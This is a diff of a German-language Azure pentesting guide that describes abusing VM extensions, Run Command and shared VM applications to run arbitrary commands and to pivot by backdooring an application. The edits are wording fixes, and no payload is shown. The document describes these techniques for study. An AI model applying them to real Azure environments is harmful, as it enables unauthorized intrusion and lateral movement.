@@ -549,7 +549,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<details>
<summary>DesiredConfigurationState (DSC)</summary>
<summary>DesiredStateConfiguration (DSC)</summary>
Dies ist eine **VM-Erweiterung**, die zu Microsoft gehört und PowerShell DSC verwendet, um die Konfiguration von Azure Windows-VMs zu verwalten. Daher kann sie verwendet werden, um **willkürliche Befehle** in Windows-VMs über diese Erweiterung auszuführen:
```powershell
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
<summary>Hybrid Runbook Worker</summary>
Dies ist eine VM-Erweiterung, die es ermöglicht, Runbooks in VMs von einem Automatisierungskonto aus auszuführen. Für weitere Informationen siehe den [Automation Accounts service](../az-automation-account/).
Dies ist eine VM-Erweiterung, die es ermöglicht, Runbooks in VMs von einem Automatisierungskonto aus auszuführen. Für weitere Informationen siehe den [Automation Accounts service](../az-automation-account/index.html).
</details>
@@ -622,12 +622,12 @@ Dies sind die Pfade, wo die Anwendungen im Dateisystem heruntergeladen werden:
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
Überprüfen Sie, wie man neue Anwendungen installiert in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
Überprüfen Sie, wie Sie neue Anwendungen installieren können in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> Es ist möglich, **einzelne Apps und Galerien mit anderen Abonnements oder Mandanten zu teilen**. Was sehr interessant ist, da es einem Angreifer ermöglichen könnte, eine Anwendung zu hintertüren und zu anderen Abonnements und Mandanten zu pivotieren.
Aber es **gibt keinen "Marktplatz" für VM-Apps**, wie es ihn für Erweiterungen gibt.
Aber es **gibt keinen "Marktplatz" für VM-Apps** wie es ihn für Erweiterungen gibt.
Die erforderlichen Berechtigungen sind:
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
```
### **Befehl ausführen**
Dies ist der grundlegendste Mechanismus, den Azure bereitstellt, um **willkürliche Befehle in VMs auszuführen**. Die erforderliche Berechtigung ist `Microsoft.Compute/virtualMachines/runCommand/action`.
Dies ist der grundlegendste Mechanismus, den Azure bereitstellt, um **willkürliche Befehle in VMs auszuführen**. Die benötigte Berechtigung ist `Microsoft.Compute/virtualMachines/runCommand/action`.
{{#tabs }}
{{#tab name="Linux" }}